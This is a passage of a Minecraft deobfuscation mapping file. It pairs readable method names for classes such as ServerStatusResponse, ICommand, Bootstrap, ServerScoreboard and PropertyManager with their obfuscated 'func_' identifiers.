net/minecraft/network/ServerStatusResponse$Serializer/serialize (Ljava/lang/Object;Ljava/lang/reflect/Type;Lcom/google/gson/JsonSerializationContext;)Lcom/google/gson/JsonElement; +MD: net/minecraft/network/ServerStatusResponse$MinecraftProtocolVersionIdentifier$Serializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Lnet/minecraft/network/ServerStatusResponse$MinecraftProtocolVersionIdentifier; net/minecraft/network/ServerStatusResponse$MinecraftProtocolVersionIdentifier$Serializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Lnet/minecraft/network/ServerStatusResponse$MinecraftProtocolVersionIdentifier; +MD: net/minecraft/network/ServerStatusResponse$MinecraftProtocolVersionIdentifier$Serializer/serialize (Lnet/minecraft/network/ServerStatusResponse$MinecraftProtocolVersionIdentifier;Ljava/lang/reflect/Type;Lcom/google/gson/JsonSerializationContext;)Lcom/google/gson/JsonElement; net/minecraft/network/ServerStatusResponse$MinecraftProtocolVersionIdentifier$Serializer/serialize (Lnet/minecraft/network/ServerStatusResponse$MinecraftProtocolVersionIdentifier;Ljava/lang/reflect/Type;Lcom/google/gson/JsonSerializationContext;)Lcom/google/gson/JsonElement; +MD: net/minecraft/network/ServerStatusResponse$MinecraftProtocolVersionIdentifier$Serializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Ljava/lang/Object; net/minecraft/network/ServerStatusResponse$MinecraftProtocolVersionIdentifier$Serializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Ljava/lang/Object; +MD: net/minecraft/network/ServerStatusResponse$MinecraftProtocolVersionIdentifier$Serializer/serialize (Ljava/lang/Object;Ljava/lang/reflect/Type;Lcom/google/gson/JsonSerializationContext;)Lcom/google/gson/JsonElement; net/minecraft/network/ServerStatusResponse$MinecraftProtocolVersionIdentifier$Serializer/serialize (Ljava/lang/Object;Ljava/lang/reflect/Type;Lcom/google/gson/JsonSerializationContext;)Lcom/google/gson/JsonElement; +MD: net/minecraft/network/ServerStatusResponse$MinecraftProtocolVersionIdentifier/getName ()Ljava/lang/String; net/minecraft/network/ServerStatusResponse$MinecraftProtocolVersionIdentifier/func_151303_a ()Ljava/lang/String; +MD: net/minecraft/network/ServerStatusResponse$MinecraftProtocolVersionIdentifier/getProtocol ()I net/minecraft/network/ServerStatusResponse$MinecraftProtocolVersionIdentifier/func_151304_b ()I +MD: net/minecraft/network/ServerStatusResponse/getServerDescription ()Lnet/minecraft/util/IChatComponent; net/minecraft/network/ServerStatusResponse/func_151317_a ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/network/ServerStatusResponse/setServerDescription (Lnet/minecraft/util/IChatComponent;)V net/minecraft/network/ServerStatusResponse/func_151315_a (Lnet/minecraft/util/IChatComponent;)V +MD: net/minecraft/network/ServerStatusResponse/setFavicon (Ljava/lang/String;)V net/minecraft/network/ServerStatusResponse/func_151320_a (Ljava/lang/String;)V +MD: net/minecraft/network/ServerStatusResponse/setPlayerCountData (Lnet/minecraft/network/ServerStatusResponse$PlayerCountData;)V net/minecraft/network/ServerStatusResponse/func_151319_a (Lnet/minecraft/network/ServerStatusResponse$PlayerCountData;)V +MD: net/minecraft/network/ServerStatusResponse/setProtocolVersionInfo (Lnet/minecraft/network/ServerStatusResponse$MinecraftProtocolVersionIdentifier;)V net/minecraft/network/ServerStatusResponse/func_151321_a (Lnet/minecraft/network/ServerStatusResponse$MinecraftProtocolVersionIdentifier;)V +MD: net/minecraft/network/ServerStatusResponse/getPlayerCountData ()Lnet/minecraft/network/ServerStatusResponse$PlayerCountData; net/minecraft/network/ServerStatusResponse/func_151318_b ()Lnet/minecraft/network/ServerStatusResponse$PlayerCountData; +MD: net/minecraft/network/ServerStatusResponse/getProtocolVersionInfo ()Lnet/minecraft/network/ServerStatusResponse$MinecraftProtocolVersionIdentifier; net/minecraft/network/ServerStatusResponse/func_151322_c ()Lnet/minecraft/network/ServerStatusResponse$MinecraftProtocolVersionIdentifier; +MD: net/minecraft/network/ServerStatusResponse/getFavicon ()Ljava/lang/String; net/minecraft/network/ServerStatusResponse/func_151316_d ()Ljava/lang/String; +MD: net/minecraft/network/status/INetHandlerStatusServer/processPing (Lnet/minecraft/network/status/client/C01PacketPing;)V net/minecraft/network/status/INetHandlerStatusServer/func_147311_a (Lnet/minecraft/network/status/client/C01PacketPing;)V +MD: net/minecraft/network/status/INetHandlerStatusServer/processServerQuery (Lnet/minecraft/network/status/client/C00PacketServerQuery;)V net/minecraft/network/status/INetHandlerStatusServer/func_147312_a (Lnet/minecraft/network/status/client/C00PacketServerQuery;)V +MD: net/minecraft/network/status/client/C01PacketPing/getClientTime ()J net/minecraft/network/status/client/C01PacketPing/func_149289_c ()J +MD: net/minecraft/network/status/client/C01PacketPing/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/status/client/C01PacketPing/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/status/client/C01PacketPing/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/status/client/C01PacketPing/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/status/client/C01PacketPing/processPacket (Lnet/minecraft/network/status/INetHandlerStatusServer;)V net/minecraft/network/status/client/C01PacketPing/func_148833_a (Lnet/minecraft/network/status/INetHandlerStatusServer;)V +MD: net/minecraft/network/status/client/C01PacketPing/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/status/client/C01PacketPing/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/status/client/C00PacketServerQuery/readPacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/status/client/C00PacketServerQuery/func_148837_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/network/status/client/C00PacketServerQuery/processPacket (Lnet/minecraft/network/INetHandler;)V net/minecraft/network/status/client/C00PacketServerQuery/func_148833_a (Lnet/minecraft/network/INetHandler;)V +MD: net/minecraft/network/status/client/C00PacketServerQuery/processPacket (Lnet/minecraft/network/status/INetHandlerStatusServer;)V net/minecraft/network/status/client/C00PacketServerQuery/func_148833_a (Lnet/minecraft/network/status/INetHandlerStatusServer;)V +MD: net/minecraft/network/status/client/C00PacketServerQuery/writePacketData (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/network/status/client/C00PacketServerQuery/func_148840_b (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/util/ResourceLocation/getResourcePath ()Ljava/lang/String; net/minecraft/util/ResourceLocation/func_110623_a ()Ljava/lang/String; +MD: net/minecraft/util/ResourceLocation/splitObjectName (Ljava/lang/String;)[Ljava/lang/String; net/minecraft/util/ResourceLocation/func_177516_a (Ljava/lang/String;)[Ljava/lang/String; +MD: net/minecraft/util/ResourceLocation/getResourceDomain ()Ljava/lang/String; net/minecraft/util/ResourceLocation/func_110624_b ()Ljava/lang/String; +MD: net/minecraft/util/ResourceLocation/equals (Ljava/lang/Object;)Z net/minecraft/util/ResourceLocation/equals (Ljava/lang/Object;)Z +MD: net/minecraft/util/ResourceLocation/hashCode ()I net/minecraft/util/ResourceLocation/hashCode ()I +MD: net/minecraft/util/ResourceLocation/toString ()Ljava/lang/String; net/minecraft/util/ResourceLocation/toString ()Ljava/lang/String; +MD: net/minecraft/command/ICommand/canCommandSenderUseCommand (Lnet/minecraft/command/ICommandSender;)Z net/minecraft/command/ICommand/func_71519_b (Lnet/minecraft/command/ICommandSender;)Z +MD: net/minecraft/command/ICommand/processCommand (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V net/minecraft/command/ICommand/func_71515_b (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V +MD: net/minecraft/command/ICommand/addTabCompletionOptions (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; net/minecraft/command/ICommand/func_180525_a (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; +MD: net/minecraft/command/ICommand/getCommandAliases ()Ljava/util/List; net/minecraft/command/ICommand/func_71514_a ()Ljava/util/List; +MD: net/minecraft/command/ICommand/isUsernameIndex ([Ljava/lang/String;I)Z net/minecraft/command/ICommand/func_82358_a ([Ljava/lang/String;I)Z +MD: net/minecraft/command/ICommand/getCommandName ()Ljava/lang/String; net/minecraft/command/ICommand/func_71517_b ()Ljava/lang/String; +MD: net/minecraft/command/ICommand/getCommandUsage (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; net/minecraft/command/ICommand/func_71518_a (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; +MD: net/minecraft/dispenser/BehaviorProjectileDispense/func_82498_a ()F net/minecraft/dispenser/BehaviorProjectileDispense/func_82498_a ()F +MD: net/minecraft/dispenser/BehaviorProjectileDispense/getProjectileEntity (Lnet/minecraft/world/World;Lnet/minecraft/dispenser/IPosition;)Lnet/minecraft/entity/IProjectile; net/minecraft/dispenser/BehaviorProjectileDispense/func_82499_a (Lnet/minecraft/world/World;Lnet/minecraft/dispenser/IPosition;)Lnet/minecraft/entity/IProjectile; +MD: net/minecraft/dispenser/BehaviorProjectileDispense/playDispenseSound (Lnet/minecraft/dispenser/IBlockSource;)V net/minecraft/dispenser/BehaviorProjectileDispense/func_82485_a (Lnet/minecraft/dispenser/IBlockSource;)V +MD: net/minecraft/dispenser/BehaviorProjectileDispense/func_82500_b ()F net/minecraft/dispenser/BehaviorProjectileDispense/func_82500_b ()F +MD: net/minecraft/dispenser/BehaviorProjectileDispense/dispenseStack (Lnet/minecraft/dispenser/IBlockSource;Lnet/minecraft/item/ItemStack;)Lnet/minecraft/item/ItemStack; net/minecraft/dispenser/BehaviorProjectileDispense/func_82487_b (Lnet/minecraft/dispenser/IBlockSource;Lnet/minecraft/item/ItemStack;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/init/Bootstrap$1/getProjectileEntity (Lnet/minecraft/world/World;Lnet/minecraft/dispenser/IPosition;)Lnet/minecraft/entity/IProjectile; net/minecraft/init/Bootstrap$1/func_82499_a (Lnet/minecraft/world/World;Lnet/minecraft/dispenser/IPosition;)Lnet/minecraft/entity/IProjectile; +MD: net/minecraft/init/Bootstrap$10/getProjectileEntity (Lnet/minecraft/world/World;Lnet/minecraft/dispenser/IPosition;)Lnet/minecraft/entity/IProjectile; net/minecraft/init/Bootstrap$10/func_82499_a (Lnet/minecraft/world/World;Lnet/minecraft/dispenser/IPosition;)Lnet/minecraft/entity/IProjectile; +MD: net/minecraft/init/Bootstrap$11/func_82498_a ()F net/minecraft/init/Bootstrap$11/func_82498_a ()F +MD: net/minecraft/init/Bootstrap$11/getProjectileEntity (Lnet/minecraft/world/World;Lnet/minecraft/dispenser/IPosition;)Lnet/minecraft/entity/IProjectile; net/minecraft/init/Bootstrap$11/func_82499_a (Lnet/minecraft/world/World;Lnet/minecraft/dispenser/IPosition;)Lnet/minecraft/entity/IProjectile; +MD: net/minecraft/init/Bootstrap$11/func_82500_b ()F net/minecraft/init/Bootstrap$11/func_82500_b ()F +MD: net/minecraft/init/Bootstrap$12$1/func_82498_a ()F net/minecraft/init/Bootstrap$12$1/func_82498_a ()F +MD: net/minecraft/init/Bootstrap$12$1/getProjectileEntity (Lnet/minecraft/world/World;Lnet/minecraft/dispenser/IPosition;)Lnet/minecraft/entity/IProjectile; net/minecraft/init/Bootstrap$12$1/func_82499_a (Lnet/minecraft/world/World;Lnet/minecraft/dispenser/IPosition;)Lnet/minecraft/entity/IProjectile; +MD: net/minecraft/init/Bootstrap$12$1/func_82500_b ()F net/minecraft/init/Bootstrap$12$1/func_82500_b ()F +MD: net/minecraft/init/Bootstrap$12/dispense (Lnet/minecraft/dispenser/IBlockSource;Lnet/minecraft/item/ItemStack;)Lnet/minecraft/item/ItemStack; net/minecraft/init/Bootstrap$12/func_82482_a (Lnet/minecraft/dispenser/IBlockSource;Lnet/minecraft/item/ItemStack;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/init/Bootstrap$13/dispenseStack (Lnet/minecraft/dispenser/IBlockSource;Lnet/minecraft/item/ItemStack;)Lnet/minecraft/item/ItemStack; net/minecraft/init/Bootstrap$13/func_82487_b (Lnet/minecraft/dispenser/IBlockSource;Lnet/minecraft/item/ItemStack;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/init/Bootstrap$14/playDispenseSound (Lnet/minecraft/dispenser/IBlockSource;)V net/minecraft/init/Bootstrap$14/func_82485_a (Lnet/minecraft/dispenser/IBlockSource;)V +MD: net/minecraft/init/Bootstrap$14/dispenseStack (Lnet/minecraft/dispenser/IBlockSource;Lnet/minecraft/item/ItemStack;)Lnet/minecraft/item/ItemStack; net/minecraft/init/Bootstrap$14/func_82487_b (Lnet/minecraft/dispenser/IBlockSource;Lnet/minecraft/item/ItemStack;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/init/Bootstrap$15/playDispenseSound (Lnet/minecraft/dispenser/IBlockSource;)V net/minecraft/init/Bootstrap$15/func_82485_a (Lnet/minecraft/dispenser/IBlockSource;)V +MD: net/minecraft/init/Bootstrap$15/dispenseStack (Lnet/minecraft/dispenser/IBlockSource;Lnet/minecraft/item/ItemStack;)Lnet/minecraft/item/ItemStack; net/minecraft/init/Bootstrap$15/func_82487_b (Lnet/minecraft/dispenser/IBlockSource;Lnet/minecraft/item/ItemStack;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/init/Bootstrap$16/playDispenseSound (Lnet/minecraft/dispenser/IBlockSource;)V net/minecraft/init/Bootstrap$16/func_82485_a (Lnet/minecraft/dispenser/IBlockSource;)V +MD: net/minecraft/init/Bootstrap$16/dispenseStack (Lnet/minecraft/dispenser/IBlockSource;Lnet/minecraft/item/ItemStack;)Lnet/minecraft/item/ItemStack; net/minecraft/init/Bootstrap$16/func_82487_b (Lnet/minecraft/dispenser/IBlockSource;Lnet/minecraft/item/ItemStack;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/init/Bootstrap$2/dispenseStack (Lnet/minecraft/dispenser/IBlockSource;Lnet/minecraft/item/ItemStack;)Lnet/minecraft/item/ItemStack; net/minecraft/init/Bootstrap$2/func_82487_b (Lnet/minecraft/dispenser/IBlockSource;Lnet/minecraft/item/ItemStack;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/init/Bootstrap$3/dispenseStack (Lnet/minecraft/dispenser/IBlockSource;Lnet/minecraft/item/ItemStack;)Lnet/minecraft/item/ItemStack; net/minecraft/init/Bootstrap$3/func_82487_b (Lnet/minecraft/dispenser/IBlockSource;Lnet/minecraft/item/ItemStack;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/init/Bootstrap$4/playDispenseSound (Lnet/minecraft/dispenser/IBlockSource;)V net/minecraft/init/Bootstrap$4/func_82485_a (Lnet/minecraft/dispenser/IBlockSource;)V +MD: net/minecraft/init/Bootstrap$4/dispenseStack (Lnet/minecraft/dispenser/IBlockSource;Lnet/minecraft/item/ItemStack;)Lnet/minecraft/item/ItemStack; net/minecraft/init/Bootstrap$4/func_82487_b (Lnet/minecraft/dispenser/IBlockSource;Lnet/minecraft/item/ItemStack;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/init/Bootstrap$5/playDispenseSound (Lnet/minecraft/dispenser/IBlockSource;)V net/minecraft/init/Bootstrap$5/func_82485_a (Lnet/minecraft/dispenser/IBlockSource;)V +MD: net/minecraft/init/Bootstrap$5/dispenseStack (Lnet/minecraft/dispenser/IBlockSource;Lnet/minecraft/item/ItemStack;)Lnet/minecraft/item/ItemStack; net/minecraft/init/Bootstrap$5/func_82487_b (Lnet/minecraft/dispenser/IBlockSource;Lnet/minecraft/item/ItemStack;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/init/Bootstrap$6/dispenseStack (Lnet/minecraft/dispenser/IBlockSource;Lnet/minecraft/item/ItemStack;)Lnet/minecraft/item/ItemStack; net/minecraft/init/Bootstrap$6/func_82487_b (Lnet/minecraft/dispenser/IBlockSource;Lnet/minecraft/item/ItemStack;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/init/Bootstrap$7/playDispenseSound (Lnet/minecraft/dispenser/IBlockSource;)V net/minecraft/init/Bootstrap$7/func_82485_a (Lnet/minecraft/dispenser/IBlockSource;)V +MD: net/minecraft/init/Bootstrap$7/dispenseStack (Lnet/minecraft/dispenser/IBlockSource;Lnet/minecraft/item/ItemStack;)Lnet/minecraft/item/ItemStack; net/minecraft/init/Bootstrap$7/func_82487_b (Lnet/minecraft/dispenser/IBlockSource;Lnet/minecraft/item/ItemStack;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/init/Bootstrap$8/playDispenseSound (Lnet/minecraft/dispenser/IBlockSource;)V net/minecraft/init/Bootstrap$8/func_82485_a (Lnet/minecraft/dispenser/IBlockSource;)V +MD: net/minecraft/init/Bootstrap$8/dispenseStack (Lnet/minecraft/dispenser/IBlockSource;Lnet/minecraft/item/ItemStack;)Lnet/minecraft/item/ItemStack; net/minecraft/init/Bootstrap$8/func_82487_b (Lnet/minecraft/dispenser/IBlockSource;Lnet/minecraft/item/ItemStack;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/init/Bootstrap$9/getProjectileEntity (Lnet/minecraft/world/World;Lnet/minecraft/dispenser/IPosition;)Lnet/minecraft/entity/IProjectile; net/minecraft/init/Bootstrap$9/func_82499_a (Lnet/minecraft/world/World;Lnet/minecraft/dispenser/IPosition;)Lnet/minecraft/entity/IProjectile; +MD: net/minecraft/init/Bootstrap/isRegistered ()Z net/minecraft/init/Bootstrap/func_179869_a ()Z +MD: net/minecraft/init/Bootstrap/printToSYSOUT (Ljava/lang/String;)V net/minecraft/init/Bootstrap/func_179870_a (Ljava/lang/String;)V +MD: net/minecraft/init/Bootstrap/registerDispenserBehaviors ()V net/minecraft/init/Bootstrap/func_151353_a ()V +MD: net/minecraft/init/Bootstrap/register ()V net/minecraft/init/Bootstrap/func_151354_b ()V +MD: net/minecraft/init/Bootstrap/redirectOutputToLog ()V net/minecraft/init/Bootstrap/func_179868_d ()V +MD: net/minecraft/client/util/JsonException$Entry/func_151373_a (Ljava/lang/String;)V net/minecraft/client/util/JsonException$Entry/func_151373_a (Ljava/lang/String;)V +MD: net/minecraft/client/util/JsonException$Entry/access$100 (Lnet/minecraft/client/util/JsonException$Entry;Ljava/lang/String;)V net/minecraft/client/util/JsonException$Entry/access$100 (Lnet/minecraft/client/util/JsonException$Entry;Ljava/lang/String;)V +MD: net/minecraft/client/util/JsonException$Entry/func_151372_b ()Ljava/lang/String; net/minecraft/client/util/JsonException$Entry/func_151372_b ()Ljava/lang/String; +MD: net/minecraft/client/util/JsonException$Entry/access$202 (Lnet/minecraft/client/util/JsonException$Entry;Ljava/lang/String;)Ljava/lang/String; net/minecraft/client/util/JsonException$Entry/access$202 (Lnet/minecraft/client/util/JsonException$Entry;Ljava/lang/String;)Ljava/lang/String; +MD: net/minecraft/client/util/JsonException$Entry/toString ()Ljava/lang/String; net/minecraft/client/util/JsonException$Entry/toString ()Ljava/lang/String; +MD: net/minecraft/client/util/JsonException/func_151379_a (Ljava/lang/Exception;)Lnet/minecraft/client/util/JsonException; net/minecraft/client/util/JsonException/func_151379_a (Ljava/lang/Exception;)Lnet/minecraft/client/util/JsonException; +MD: net/minecraft/client/util/JsonException/func_151380_a (Ljava/lang/String;)V net/minecraft/client/util/JsonException/func_151380_a (Ljava/lang/String;)V +MD: net/minecraft/client/util/JsonException/func_151381_b (Ljava/lang/String;)V net/minecraft/client/util/JsonException/func_151381_b (Ljava/lang/String;)V +MD: net/minecraft/client/util/JsonException/getMessage ()Ljava/lang/String; net/minecraft/client/util/JsonException/getMessage ()Ljava/lang/String; +MD: net/minecraft/server/ServerEula/hasAcceptedEULA ()Z net/minecraft/server/ServerEula/func_154346_a ()Z +MD: net/minecraft/server/ServerEula/loadEULAFile (Ljava/io/File;)Z net/minecraft/server/ServerEula/func_154347_a (Ljava/io/File;)Z +MD: net/minecraft/server/ServerEula/createEULAFile ()V net/minecraft/server/ServerEula/func_154348_b ()V +MD: net/minecraft/util/LoggingPrintStream/logString (Ljava/lang/String;)V net/minecraft/util/LoggingPrintStream/func_179882_a (Ljava/lang/String;)V +MD: net/minecraft/util/LoggingPrintStream/println (Ljava/lang/Object;)V net/minecraft/util/LoggingPrintStream/println (Ljava/lang/Object;)V +MD: net/minecraft/util/LoggingPrintStream/println (Ljava/lang/String;)V net/minecraft/util/LoggingPrintStream/println (Ljava/lang/String;)V +MD: net/minecraft/network/ThreadQuickExitException/fillInStackTrace ()Ljava/lang/Throwable; net/minecraft/network/ThreadQuickExitException/fillInStackTrace ()Ljava/lang/Throwable; +MD: net/minecraft/network/rcon/IServer/getHostname ()Ljava/lang/String; net/minecraft/network/rcon/IServer/func_71277_t ()Ljava/lang/String; +MD: net/minecraft/network/rcon/IServer/getPort ()I net/minecraft/network/rcon/IServer/func_71234_u ()I +MD: net/minecraft/network/rcon/IServer/getMotd ()Ljava/lang/String; net/minecraft/network/rcon/IServer/func_71274_v ()Ljava/lang/String; +MD: net/minecraft/network/rcon/IServer/getMinecraftVersion ()Ljava/lang/String; net/minecraft/network/rcon/IServer/func_71249_w ()Ljava/lang/String; +MD: net/minecraft/network/rcon/IServer/getCurrentPlayerCount ()I net/minecraft/network/rcon/IServer/func_71233_x ()I +MD: net/minecraft/network/rcon/IServer/getMaxPlayers ()I net/minecraft/network/rcon/IServer/func_71275_y ()I +MD: net/minecraft/network/rcon/IServer/getAllUsernames ()[Ljava/lang/String; net/minecraft/network/rcon/IServer/func_71213_z ()[Ljava/lang/String; +MD: net/minecraft/network/rcon/IServer/isDebuggingEnabled ()Z net/minecraft/network/rcon/IServer/func_71239_B ()Z +MD: net/minecraft/network/rcon/IServer/getFolderName ()Ljava/lang/String; net/minecraft/network/rcon/IServer/func_71270_I ()Ljava/lang/String; +MD: net/minecraft/network/rcon/IServer/saveProperties ()V net/minecraft/network/rcon/IServer/func_71326_a ()V +MD: net/minecraft/network/rcon/IServer/getIntProperty (Ljava/lang/String;I)I net/minecraft/network/rcon/IServer/func_71327_a (Ljava/lang/String;I)I +MD: net/minecraft/network/rcon/IServer/setProperty (Ljava/lang/String;Ljava/lang/Object;)V net/minecraft/network/rcon/IServer/func_71328_a (Ljava/lang/String;Ljava/lang/Object;)V +MD: net/minecraft/network/rcon/IServer/getStringProperty (Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; net/minecraft/network/rcon/IServer/func_71330_a (Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; +MD: net/minecraft/network/rcon/IServer/handleRConCommand (Ljava/lang/String;)Ljava/lang/String; net/minecraft/network/rcon/IServer/func_71252_i (Ljava/lang/String;)Ljava/lang/String; +MD: net/minecraft/network/rcon/IServer/getSettingsFilename ()Ljava/lang/String; net/minecraft/network/rcon/IServer/func_71329_c ()Ljava/lang/String; +MD: net/minecraft/network/rcon/IServer/getPlugins ()Ljava/lang/String; net/minecraft/network/rcon/IServer/func_71258_A ()Ljava/lang/String; +MD: net/minecraft/network/rcon/IServer/logInfo (Ljava/lang/String;)V net/minecraft/network/rcon/IServer/func_71244_g (Ljava/lang/String;)V +MD: net/minecraft/network/rcon/IServer/logWarning (Ljava/lang/String;)V net/minecraft/network/rcon/IServer/func_71236_h (Ljava/lang/String;)V +MD: net/minecraft/network/rcon/IServer/logSevere (Ljava/lang/String;)V net/minecraft/network/rcon/IServer/func_71201_j (Ljava/lang/String;)V +MD: net/minecraft/network/rcon/IServer/logDebug (Ljava/lang/String;)V net/minecraft/network/rcon/IServer/func_71198_k (Ljava/lang/String;)V +MD: net/minecraft/scoreboard/ServerScoreboard/setObjectiveInDisplaySlot (ILnet/minecraft/scoreboard/ScoreObjective;)V net/minecraft/scoreboard/ServerScoreboard/func_96530_a (ILnet/minecraft/scoreboard/ScoreObjective;)V +MD: net/minecraft/scoreboard/ServerScoreboard/onScoreObjectiveAdded (Lnet/minecraft/scoreboard/ScoreObjective;)V net/minecraft/scoreboard/ServerScoreboard/func_96522_a (Lnet/minecraft/scoreboard/ScoreObjective;)V +MD: net/minecraft/scoreboard/ServerScoreboard/broadcastTeamCreated (Lnet/minecraft/scoreboard/ScorePlayerTeam;)V net/minecraft/scoreboard/ServerScoreboard/func_96523_a (Lnet/minecraft/scoreboard/ScorePlayerTeam;)V +MD: net/minecraft/scoreboard/ServerScoreboard/func_96536_a (Lnet/minecraft/scoreboard/Score;)V net/minecraft/scoreboard/ServerScoreboard/func_96536_a (Lnet/minecraft/scoreboard/Score;)V +MD: net/minecraft/scoreboard/ServerScoreboard/func_96547_a (Lnet/minecraft/scoreboard/ScoreboardSaveData;)V net/minecraft/scoreboard/ServerScoreboard/func_96547_a (Lnet/minecraft/scoreboard/ScoreboardSaveData;)V +MD: net/minecraft/scoreboard/ServerScoreboard/func_96516_a (Ljava/lang/String;)V net/minecraft/scoreboard/ServerScoreboard/func_96516_a (Ljava/lang/String;)V +MD: net/minecraft/scoreboard/ServerScoreboard/func_178820_a (Ljava/lang/String;Lnet/minecraft/scoreboard/ScoreObjective;)V net/minecraft/scoreboard/ServerScoreboard/func_178820_a (Ljava/lang/String;Lnet/minecraft/scoreboard/ScoreObjective;)V +MD: net/minecraft/scoreboard/ServerScoreboard/removePlayerFromTeam (Ljava/lang/String;Lnet/minecraft/scoreboard/ScorePlayerTeam;)V net/minecraft/scoreboard/ServerScoreboard/func_96512_b (Ljava/lang/String;Lnet/minecraft/scoreboard/ScorePlayerTeam;)V +MD: net/minecraft/scoreboard/ServerScoreboard/addPlayerToTeam (Ljava/lang/String;Ljava/lang/String;)Z net/minecraft/scoreboard/ServerScoreboard/func_151392_a (Ljava/lang/String;Ljava/lang/String;)Z +MD: net/minecraft/scoreboard/ServerScoreboard/markSaveDataDirty ()V net/minecraft/scoreboard/ServerScoreboard/func_96551_b ()V +MD: net/minecraft/scoreboard/ServerScoreboard/onObjectiveDisplayNameChanged (Lnet/minecraft/scoreboard/ScoreObjective;)V net/minecraft/scoreboard/ServerScoreboard/func_96532_b (Lnet/minecraft/scoreboard/ScoreObjective;)V +MD: net/minecraft/scoreboard/ServerScoreboard/sendTeamUpdate (Lnet/minecraft/scoreboard/ScorePlayerTeam;)V net/minecraft/scoreboard/ServerScoreboard/func_96538_b (Lnet/minecraft/scoreboard/ScorePlayerTeam;)V +MD: net/minecraft/scoreboard/ServerScoreboard/onScoreObjectiveRemoved (Lnet/minecraft/scoreboard/ScoreObjective;)V net/minecraft/scoreboard/ServerScoreboard/func_96533_c (Lnet/minecraft/scoreboard/ScoreObjective;)V +MD: net/minecraft/scoreboard/ServerScoreboard/func_96513_c (Lnet/minecraft/scoreboard/ScorePlayerTeam;)V net/minecraft/scoreboard/ServerScoreboard/func_96513_c (Lnet/minecraft/scoreboard/ScorePlayerTeam;)V +MD: net/minecraft/scoreboard/ServerScoreboard/func_96550_d (Lnet/minecraft/scoreboard/ScoreObjective;)Ljava/util/List; net/minecraft/scoreboard/ServerScoreboard/func_96550_d (Lnet/minecraft/scoreboard/ScoreObjective;)Ljava/util/List; +MD: net/minecraft/scoreboard/ServerScoreboard/func_96549_e (Lnet/minecraft/scoreboard/ScoreObjective;)V net/minecraft/scoreboard/ServerScoreboard/func_96549_e (Lnet/minecraft/scoreboard/ScoreObjective;)V +MD: net/minecraft/scoreboard/ServerScoreboard/func_96548_f (Lnet/minecraft/scoreboard/ScoreObjective;)Ljava/util/List; net/minecraft/scoreboard/ServerScoreboard/func_96548_f (Lnet/minecraft/scoreboard/ScoreObjective;)Ljava/util/List; +MD: net/minecraft/scoreboard/ServerScoreboard/sendDisplaySlotRemovalPackets (Lnet/minecraft/scoreboard/ScoreObjective;)V net/minecraft/scoreboard/ServerScoreboard/func_96546_g (Lnet/minecraft/scoreboard/ScoreObjective;)V +MD: net/minecraft/scoreboard/ServerScoreboard/func_96552_h (Lnet/minecraft/scoreboard/ScoreObjective;)I net/minecraft/scoreboard/ServerScoreboard/func_96552_h (Lnet/minecraft/scoreboard/ScoreObjective;)I +MD: net/minecraft/server/dedicated/PropertyManager/generateNewProperties ()V net/minecraft/server/dedicated/PropertyManager/func_73666_a ()V +MD: net/minecraft/server/dedicated/PropertyManager/getIntProperty (Ljava/lang/String;I)I net/minecraft/server/dedicated/PropertyManager/func_73669_a (Ljava/lang/String;I)I +MD: net/minecraft/server/dedicated/PropertyManager/getLongProperty (Ljava/lang/String;J)J net/minecraft/server/dedicated/PropertyManager/func_179885_a (Ljava/lang/String;J)J +MD: net/minecraft/server/dedicated/PropertyManager/setProperty (Ljava/lang/String;Ljava/lang/Object;)V net/minecraft/server/dedicated/PropertyManager/func_73667_a (Ljava/lang/String;Ljava/lang/Object;)V +MD: net/minecraft/server/dedicated/PropertyManager/getStringProperty (Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; net/minecraft/server/dedicated/PropertyManager/func_73671_a (Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; +MD: net/minecraft/server/dedicated/PropertyManager/getBooleanProperty (Ljava/lang/String;Z)Z net/minecraft/server/dedicated/PropertyManager/func_73670_a (Ljava/lang/String;Z)Z +MD: net/minecraft/server/dedicated/PropertyManager/saveProperties ()V net/minecraft/server/dedicated/PropertyManager/func_73668_b ()V +MD: net/minecraft/server/dedicated/PropertyManager/getPropertiesFile ()Ljava/io/File; net/minecraft/server/dedicated/PropertyManager/func_73665_c ()Ljava/io/File; +MD: net/minecraft/util/ITickable/update 